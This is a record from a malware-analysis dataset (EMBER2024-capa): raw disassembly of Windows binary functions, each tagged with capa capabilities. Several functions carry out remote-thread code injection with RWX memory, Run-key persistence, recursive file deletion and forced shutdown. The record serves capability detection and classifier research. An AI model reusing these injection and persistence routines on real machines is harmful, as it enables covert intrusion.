joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407460
Capabilities:
Enumerate files on windows
Enumerate files recursively
Set current directory

Disassembly:
push 0xffffffffffffffff
push 0x42e5e6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x250
push ebx
push ebp
push esi
push edi
mov ebx, ecx
mov eax, dword [esp + 0x274]
mov ebp, dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
push eax
mov dword [esp + 0x26c], 1
call ebp
mov edx, dword [esp + 0x270]
lea ecx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov edi, dword [esp + 0x278]
mov esi, eax
cmp esi, 0xffffffff
je 0x40754d
mov al, byte [esp + 0x1c]
mov ebp, dword [sym.imp.kernel32.dll_GetFullPathNameA]
test al, 0x10
jne 0x4074f4
lea eax, [esp + 0x15c]
push 0
push eax
lea ecx, [esp + 0x50]
push 0x104
push ecx
call ebp
lea edx, [esp + 0x15c]
mov ecx, edi
push edx
call sub.mfc42.dll_CStringList::AddTail
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.kernel32.dll_FindNextFileA]
test eax, eax
je 0x407540
test byte [esp + 0x1c], 0x10
jne 0x407530
lea ecx, [esp + 0x15c]
push 0
push ecx
lea edx, [esp + 0x50]
push 0x104
push edx
call ebp
lea eax, [esp + 0x15c]
mov ecx, edi
push eax
call sub.mfc42.dll_CStringList::AddTail
lea ecx, [esp + 0x1c]
push ecx
push esi
call dword [sym.imp.kernel32.dll_FindNextFileA]
test eax, eax
jne 0x407504
push esi
call dword [sym.imp.kernel32.dll_FindClose]
mov ebp, dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
lea edx, [esp + 0x1c]
push edx
push 0x4019ec
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x10], esi
je 0x40763d
test byte [esp + 0x1c], 0x10
je 0x4075be
cmp byte [esp + 0x48], 0x2e
je 0x4075be
push edi
push ecx
lea eax, [esp + 0x50]
mov ecx, esp
mov dword [esp + 0x20], esp
push eax
call sub.mfc42.dll_CString::CString_1
push ecx
lea edx, [esp + 0x27c]
mov ecx, esp
mov dword [esp + 0x20], esp
push edx
mov byte [esp + 0x278], 2
call sub.mfc42.dll_CString::CString_2
mov ecx, ebx
mov byte [esp + 0x274], 1
call fcn.00407460
push 0x4019e8
call ebp
lea eax, [esp + 0x1c]
push eax
push esi
mov esi, dword [sym.imp.kernel32.dll_FindNextFileA]
call esi
test eax, eax
je 0x407632
test byte [esp + 0x1c], 0x10
je 0x407622
cmp byte [esp + 0x48], 0x2e
je 0x407622
push edi
push ecx
lea edx, [esp + 0x50]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
call sub.mfc42.dll_CString::CString_1
push ecx
lea eax, [esp + 0x27c]
mov ecx, esp
mov dword [esp + 0x24], esp
push eax
mov byte [esp + 0x278], 3
call sub.mfc42.dll_CString::CString_2
mov ecx, ebx
mov byte [esp + 0x274], 1
call fcn.00407460
push 0x4019e8
call ebp
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push ecx
push edx
call esi
test eax, eax
jne 0x4075d0
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_FindClose]
lea ecx, [esp + 0x270]
mov byte [esp + 0x268], 0
call sub.mfc42.dll_CString::CString
lea ecx, [esp + 0x274]
mov dword [esp + 0x268], 0xffffffff
call sub.mfc42.dll_CString::CString
mov ecx, dword [esp + 0x260]
mov eax, edi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x25c
ret 0xc
Function at 0x408820
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x248
push ebx
push ebp
push esi
mov esi, dword [esp + 0x258]
push edi
mov edi, dword [sym.imp.msvcrt.dll_sprintf]
push esi
lea eax, [esp + 0x18]
mov ebx, ecx
push 0x401a3c
push eax
mov dword [esp + 0x1c], ebx
call edi
add esp, 0xc
lea ecx, [esp + 0x118]
lea edx, [esp + 0x14]
push ecx
push edx
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x408876
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x248
ret 4
mov al, byte [esp + 0x144]
cmp al, 0x2e
je 0x4088c7
movsx eax, al
cmp eax, 0x2e2e
je 0x4088c7
lea ecx, [esp + 0x144]
lea edx, [esp + 0x14]
push ecx
push esi
push 0x401a34
push edx
call edi
mov al, byte [esp + 0x128]
add esp, 0x10
test al, 0x10
je 0x4088bc
lea eax, [esp + 0x14]
mov ecx, ebx
push eax
call fcn.00408820
jmp 0x4088c7
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ebx, dword [sym.imp.kernel32.dll_FindNextFileA]
lea edx, [esp + 0x118]
push edx
push ebp
call ebx
test eax, eax
je 0x40893e
mov al, byte [esp + 0x144]
cmp al, 0x2e
je 0x40892f
movsx eax, al
cmp eax, 0x2e2e
je 0x40892f
lea ecx, [esp + 0x144]
lea edx, [esp + 0x14]
push ecx
push esi
push 0x401a34
push edx
call edi
mov al, byte [esp + 0x128]
add esp, 0x10
test al, 0x10
je 0x408924
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
call fcn.00408820
jmp 0x40892f
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.kernel32.dll_DeleteFileA]
lea edx, [esp + 0x118]
push edx
push ebp
call ebx
test eax, eax
jne 0x4088dc
push ebp
call dword [sym.imp.kernel32.dll_FindClose]
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x248
ret 4
Function at 0x4096d0
Capabilities:
Enumerate processes

Disassembly:
push 0xffffffffffffffff
push 0x42e736
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x134
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x20]
push ebx
push 2
rep stosd dword es:[edi], eax
mov dword [esp + 0x20], 0xffffffff
mov dword [esp + 0x24], pe_nt_image_headers32
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 0x1c]
push eax
push edi
call sub.kernel32.dll_Process32First
cmp eax, ebx
je 0x4097ee
mov ebp, dword [esp + 0x154]
lea ecx, [esp + 0x40]
push ecx
lea ecx, [esp + 0x14]
call sub.mfc42.dll_CString::CString_1
push ebp
lea ecx, [esp + 0x18]
mov dword [esp + 0x150], ebx
call sub.mfc42.dll_CString::CString_1
lea ecx, [esp + 0x10]
mov byte [esp + 0x14c], 1
call sub.mfc42.dll_CString::MakeLower
lea ecx, [esp + 0x14]
call sub.mfc42.dll_CString::MakeLower
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push edx
call sub.mfc42.dll_CString::Find_1
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
cmp eax, ebx
jne 0x4097c2
lea edx, [esp + 0x1c]
push edx
push edi
call sub.kernel32.dll_Process32Next
lea ecx, [esp + 0x14]
mov esi, eax
mov byte [esp + 0x14c], bl
call sub.mfc42.dll_CString::CString
lea ecx, [esp + 0x10]
mov dword [esp + 0x14c], 0xffffffff
call sub.mfc42.dll_CString::CString
cmp esi, ebx
jne 0x409732
jmp 0x4097ee
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x14]
mov dword [esp + 0x18], eax
mov byte [esp + 0x14c], bl
call sub.mfc42.dll_CString::CString
lea ecx, [esp + 0x10]
mov dword [esp + 0x14c], 0xffffffff
call sub.mfc42.dll_CString::CString
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop esi
mov ecx, dword [esp + 0x13c]
mov eax, dword [esp + 0x10]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x140
ret 4
Function at 0x4098f0
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject dll
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x414
push ebx
push ebp
push esi
push edi
xor edi, edi
push 0x401b84
mov ebx, ecx
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], edi
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov ebp, eax
cmp ebp, edi
jne 0x409924
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x414
ret
push 1
push 0x401b70
call fcn.00409820
push 0x401b60
call fcn.004096d0
push eax
push edi
push 0x1f0fff
call dword [sym.imp.kernel32.dll_OpenProcess]
mov esi, eax
cmp esi, edi
jne 0x40995a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x414
ret
push 4
push 0x1000
push 0x40c
push edi
push esi
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
cmp eax, edi
mov dword [ebx + 4], eax
jne 0x409989
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x414
ret
mov ecx, 0x103
xor eax, eax
lea edi, [esp + 0x18]
push 0x401b50
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
push ebp
call edi
push 0x401b44
push ebp
mov dword [esp + 0x20], eax
call edi
push 0x401b30
push ebp
mov dword [esp + 0x24], eax
call edi
mov dword [esp + 0x20], eax
mov eax, dword [0x431708]
add eax, 0x720c
lea ecx, [esp + 0x24]
push eax
push 0x401b20
push ecx
call dword [sym.imp.msvcrt.dll_sprintf]
mov ecx, dword [ebx + 4]
mov ebp, dword [sym.imp.kernel32.dll_WriteProcessMemory]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x18]
push edx
push 0x40c
push eax
push ecx
push esi
call ebp
push 0x40
push 0x1000
push 0x1000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x409a3d
mov edx, dword [ebx + 4]
push 0x8000
push eax
push edx
push esi
call dword [sym.imp.kernel32.dll_VirtualFreeEx]
push esi
mov dword [ebx + 4], edi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x414
ret
lea eax, [esp + 0x10]
push eax
push 0x1000
push 0x4096a0
push edi
push esi
call ebp
mov edx, dword [ebx + 4]
lea ecx, [esp + 0x14]
push ecx
push 0
push edx
push edi
push 0
push 0
push esi
call dword [sym.imp.kernel32.dll_CreateRemoteThread]
mov ebx, eax
push 0xffffffffffffffff
push ebx
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push ebx
mov ebx, dword [sym.imp.kernel32.dll_CloseHandle]
call ebx
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.kernel32.dll_VirtualFreeEx]
push 0
push 0x401b70
call fcn.00409820
push esi
call ebx
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x414
ret
Function at 0x409ab0
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, ecx
xor ebx, ebx
push esi
push edi
mov eax, dword [ebp + 4]
mov dword [esp + 0x18], ebx
cmp eax, ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
jne 0x409ad8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
push 0x401b94
call fcn.004096d0
push 1
push 0x401b70
mov esi, eax
call fcn.00409820
push esi
push ebx
push 0x1f0fff
call dword [sym.imp.kernel32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
jne 0x409b18
push ebx
push 0x401b70
call fcn.00409820
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
push 0x40
push 0x1000
push 0x1000
push ebx
push esi
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
mov edi, eax
cmp edi, ebx
jne 0x409b4e
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
push ebx
push 0x401b70
call fcn.00409820
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
lea eax, [esp + 0x14]
push eax
push 0x1000
push 0x4096b0
push edi
push esi
call dword [sym.imp.kernel32.dll_WriteProcessMemory]
mov edx, dword [ebp + 4]
lea ecx, [esp + 0x18]
push ecx
push ebx
push edx
push edi
push ebx
push ebx
push esi
call dword [sym.imp.kernel32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
jne 0x409ba9
push 0x8000
push eax
push edi
push esi
call dword [sym.imp.kernel32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
push ebx
push 0x401b70
call fcn.00409820
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
push 0xffffffffffffffff
push ebx
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.kernel32.dll_GetExitCodeThread]
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x409bf7
push ebx
mov ebx, dword [sym.imp.kernel32.dll_CloseHandle]
call ebx
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.kernel32.dll_VirtualFreeEx]
push esi
call ebx
push 0
push 0x401b70
call fcn.00409820
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
mov eax, dword [ebp + 4]
test eax, eax
je 0x409c14
push 0x8000
push 0
push eax
push esi
call dword [sym.imp.kernel32.dll_VirtualFreeEx]
mov dword [ebp + 4], 0
push ebx
mov ebx, dword [sym.imp.kernel32.dll_CloseHandle]
call ebx
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.kernel32.dll_VirtualFreeEx]
push esi
call ebx
push 0
push 0x401b70
call fcn.00409820
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xc
ret
Function at 0x4176b0
Capabilities:
Create process on windows

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x42ee6b
push eax
mov dword fs:[0], esp
sub esp, 0x1c0
push esi
push edi
mov esi, ecx
call dword [sym.imp.jvsdk.dll_JVS_IsCopyright]
test eax, eax
jne 0x41770b
push eax
lea ecx, [esp + 0x60]
call fcn.0040a320
lea ecx, [esp + 0x5c]
mov dword [esp + 0x1d0], 0
call sub.mfc42.dll_CDialog::DoModal
lea ecx, [esp + 0x5c]
mov dword [esp + 0x1d0], 0xffffffff
call sub.mfc42.dll_CDialog::CDialog
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
mov eax, dword [esi + 0x7224]
mov ecx, dword [esi + 0x71b8]
shl eax, 8
test ch, 1
mov dword [esp + 0x18], 0x44
je 0x417735
inc eax
push eax
lea eax, [esi + 0x7280]
push eax
lea ecx, [esp + 0xcc]
push 0x403148
push ecx
call dword [sym.imp.msvcrt.dll_sprintf]
add esp, 0x10
lea edx, [esp + 8]
lea eax, [esp + 0x18]
lea ecx, [esp + 0xc4]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
call dword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
je 0x417791
mov edx, dword [esp + 8]
mov edi, dword [sym.imp.kernel32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esp + 0xc]
push eax
call edi
mov ecx, esi
call fcn.004148a0
mov ecx, dword [esp + 0x1c8]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x1cc
ret
Function at 0x417b50
Capabilities:
Delete registry value
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x108
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 4]
push eax
push 0x2001f
push 0
push 0x4031b0
push 0x80000002
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
pop edi
je 0x417ba3
mov ecx, dword [esp]
push ecx
call dword [sym.imp.advapi32.dll_RegCloseKey]
xor eax, eax
add esp, 0x108
ret 4
mov eax, dword [esp + 0x10c]
test eax, eax
je 0x417be0
lea edx, [esp + 4]
push 0x104
push edx
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
mov ecx, dword [esp]
lea eax, [esp + 4]
push 0x104
push eax
push 1
push 0
push 0x4031a8
push ecx
call dword [sym.imp.advapi32.dll_RegSetValueExA]
jmp 0x417bf0
mov edx, dword [esp]
push 0x4031a8
push edx
call dword [sym.imp.advapi32.dll_RegDeleteValueA]
mov eax, dword [esp]
push eax
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov eax, 1
add esp, 0x108
ret 4
Function at 0x419080
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x14
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.advapi32.dll_OpenProcessToken]
test eax, eax
je 0x4190f9
lea ecx, [esp + 8]
push ecx
push 0x40393c
push 0
call dword [sym.imp.advapi32.dll_LookupPrivilegeValueA]
mov eax, dword [esp]
push 0
push 0
lea edx, [esp + 0xc]
push 0
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.advapi32.dll_AdjustTokenPrivileges]
call dword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x4190f9
mov eax, dword [esp + 0x18]
push 0
test eax, eax
je 0x4190ed
push 2
jmp 0x4190ef
push 8
call dword [sym.imp.user32.dll_ExitWindowsEx]
test eax, eax
jne 0x419101
xor eax, eax
add esp, 0x14
ret 4
mov eax, 1
add esp, 0x14
ret 4
Function at 0x41bb40
Capabilities:
Check if file exists
Create directory
Get file attributes
Write file on windows

Disassembly:
mov eax, dword [0x431708]
sub esp, 0x408
add eax, 0x720c
lea ecx, [esp + 0x14]
push esi
push edi
mov edi, dword [sym.imp.msvcrt.dll_sprintf]
push eax
push 0x403bf0
push ecx
call edi
add esp, 0xc
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x41bb7c
test al, 0x10
jne 0x41bb89
lea eax, [esp + 0x1c]
push 0
push eax
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.kernel32.dll_GetLocalTime]
mov edx, dword [esp + 0x12]
mov eax, dword [esp + 0xe]
mov ecx, dword [esp + 0xc]
and edx, 0xffff
push edx
mov edx, dword [0x431708]
and eax, 0xffff
and ecx, 0xffff
push eax
add edx, 0x720c
push ecx
push edx
lea eax, [esp + 0x2c]
push 0x401ef4
push eax
call edi
add esp, 0x18
lea ecx, [esp + 0x1c]
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push ecx
call dword [sym.imp.kernel32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x41bc8b
mov eax, dword [esp + 0x414]
lea edx, [esp + 0x418]
push edx
lea ecx, [esp + 0x220]
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.msvcrt.dll_vsprintf]
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x22]
lea edx, [esp + 0x228]
and eax, 0xffff
push edx
mov edx, dword [esp + 0x24]
and ecx, 0xffff
push eax
and edx, 0xffff
push ecx
push edx
lea eax, [esp + 0x38]
push 0x403bdc
push eax
call edi
add esp, 0x24
push 2
push 0
push 0
push esi
call dword [sym.imp.kernel32.dll_SetFilePointer]
lea ecx, [esp + 8]
push 0
push ecx
lea edi, [esp + 0x24]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x24]
push ecx
push edx
push esi
call dword [sym.imp.kernel32.dll_WriteFile]
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop esi
add esp, 0x408
ret
Function at 0x41ccb0
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x80
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x2d]
mov byte [esp + 0x2c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x2c]
push eax
push 0x64
call dword [sym.imp.kernel32.dll_GetLogicalDriveStringsA]
mov edi, dword [esp + 0x94]
lea esi, [esp + 0x2c]
mov byte [esp + 0x13], 0x43
mov dword [esp + 0x24], ebx
xor ebp, ebp
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [edi], ebx
mov dword [edi + 4], ebx
cmp byte [esi + 1], bl
jne 0x41cd12
cmp byte [esi + 2], bl
je 0x41cd6e
push esi
call dword [sym.imp.kernel32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x41cd69
lea ecx, [esp + 0x14]
push ebx
lea edx, [esp + 0x20]
push ecx
push edx
push esi
call dword [sym.imp.kernel32.dll_GetDiskFreeSpaceExA]
mov eax, dword [esp + 0x14]
mov ecx, dword [edi]
mov edx, dword [edi + 4]
add ecx, eax
mov eax, dword [esp + 0x20]
mov dword [edi], ecx
mov ecx, dword [esp + 0x18]
mov byte [esi + 1], bl
adc edx, ecx
cmp eax, ebp
mov dword [edi + 4], edx
jb 0x41cd69
mov ecx, dword [esp + 0x1c]
ja 0x41cd5d
cmp ecx, dword [esp + 0x24]
jbe 0x41cd69
mov dl, byte [esi]
mov dword [esp + 0x24], ecx
mov ebp, eax
mov byte [esp + 0x13], dl
add esi, 4
jmp 0x41cd08
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x80
ret 4
Function at 0x41d100
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
lea edx, [eax + eax*2]
lea edx, [edx + edx*8]
shl edx, 2
sub edx, eax
mov eax, dword [ecx + edx*8 + 0x614]
cmp eax, 0xffffffff
lea esi, [ecx + edx*8 + 0x344]
je 0x41d176
push 0
push 0
push 0x10
push eax
mov dword [esi + 0x2d4], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.kernel32.dll_SetFilePointer]
mov edx, dword [esi + 0x2d0]
lea eax, [esp + 8]
push 0
push eax
lea ecx, [esi + 0x2c0]
push 0x10
push ecx
push edx
call dword [sym.imp.kernel32.dll_WriteFile]
mov eax, dword [esi + 0x2d0]
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [esi + 0x2d0], 0xffffffff
pop esi
ret 4
Function at 0x41e640
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x42f351
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x134
lea ecx, [esp]
call sub.mfc42.dll_CString::CString_3
lea eax, [esp + 0x30]
push 0x104
push eax
mov dword [esp + 0x144], 0
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x30]
lea edx, [esp]
push ecx
push 0x403ec4
push edx
call sub.mfc42.dll_CString::Format
add esp, 0xc
lea ecx, [esp + 0x1c]
call fcn.0042da10
mov eax, dword [esp]
push 0
push 0
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x148], 1
call sub.mfc42.dll_CStdioFile::Open
test eax, eax
je 0x41e729
push edi
lea ecx, [esp + 8]
call sub.mfc42.dll_CString::CString_3
lea ecx, [esp + 8]
mov byte [esp + 0x140], 2
push ecx
lea ecx, [esp + 0x24]
call sub.mfc42.dll_CStdioFile::ReadString_1
mov edx, dword [esp + 8]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
cmp ecx, 0x20
jne 0x41e70a
push edx
mov edx, dword [0x431708]
add edx, 0x7330
push edx
call dword [sym.imp.msvcrt.dll_sprintf]
add esp, 8
lea ecx, [esp + 0x1c]
call sub.mfc42.dll_CStdioFile::Close
lea ecx, [esp + 4]
mov byte [esp + 0x13c], 1
call sub.mfc42.dll_CString::CString
jmp 0x41e7fb
lea eax, [esp + 8]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x41e7c7
mov ecx, dword [esp + 0x17]
mov edx, dword [esp + 0x16]
mov eax, dword [esp + 0x15]
and ecx, 0xff
push ecx
mov ecx, dword [esp + 0x18]
and edx, 0xff
and eax, 0xff
push edx
mov edx, dword [esp + 0x1b]
and ecx, 0xff
push eax
mov eax, dword [esp + 0x1e]
push ecx
mov ecx, dword [esp + 0x21]
and edx, 0xff
and eax, 0xff
push edx
mov edx, dword [esp + 0x24]
and ecx, 0xff
push eax
mov eax, dword [esp + 0x26]
push ecx
mov ecx, dword [esp + 0x28]
and edx, 0xff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x28]
and ecx, 0xffff
push eax
mov eax, dword [0x431708]
push ecx
push edx
push 0x403e94
add eax, 0x7330
push 0x21
push eax
call dword [sym.imp.msvcrt.dll__snprintf]
add esp, 0x38
mov ecx, dword [esp]
push 0
push 0x1002
push ecx
lea ecx, [esp + 0x28]
call sub.mfc42.dll_CStdioFile::Open
mov edx, dword [0x431708]
lea ecx, [esp + 0x1c]
add edx, 0x7330
push edx
call sub.mfc42.dll_CStdioFile::WriteString
lea ecx, [esp + 0x1c]
call sub.mfc42.dll_CStdioFile::Close
lea ecx, [esp + 0x1c]
mov byte [esp + 0x13c], 0
call sub.mfc42.dll_CStdioFile::CStdioFile
lea ecx, [esp]
mov dword [esp + 0x13c], 0xffffffff
call sub.mfc42.dll_CString::CString
mov ecx, dword [esp + 0x134]
mov dword fs:[0], ecx
add esp, 0x140
ret
Function at 0x41e8f0
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push 0xffffffffffffffff
push 0x42f36b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
lea eax, [esp + 8]
push eax
push 2
call dword [sym.imp.wsock32.dll_WSAStartup]
lea ecx, [esp]
call sub.mfc42.dll_CString::CString_3
lea ecx, [esp + 4]
mov dword [esp + 0x1a0], 0
push ecx
push 0x10
lea ecx, [esp + 8]
mov dword [esp + 0xc], 0x10
call sub.mfc42.dll_CString::GetBuffer
push eax
call dword [sym.imp.kernel32.dll_GetComputerNameA]
push 0xffffffffffffffff
lea ecx, [esp + 4]
call sub.mfc42.dll_CString::ReleaseBuffer
mov edx, dword [esp]
push edx
call dword [sym.imp.wsock32.dll_gethostbyname]
test eax, eax
je 0x41e99d
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
test eax, eax
je 0x41e99d
push esi
mov esi, dword [eax]
lea ecx, [esp + 4]
mov dword [esp + 0x1a4], 0xffffffff
call sub.mfc42.dll_CString::CString
mov eax, esi
pop esi
mov ecx, dword [esp + 0x198]
mov dword fs:[0], ecx
add esp, 0x1a4
ret
call dword [sym.imp.wsock32.dll_WSACleanup]
lea ecx, [esp]
mov dword [esp + 0x1a0], 0xffffffff
call sub.mfc42.dll_CString::CString
mov ecx, dword [esp + 0x198]
xor eax, eax
mov dword fs:[0], ecx
add esp, 0x1a4
ret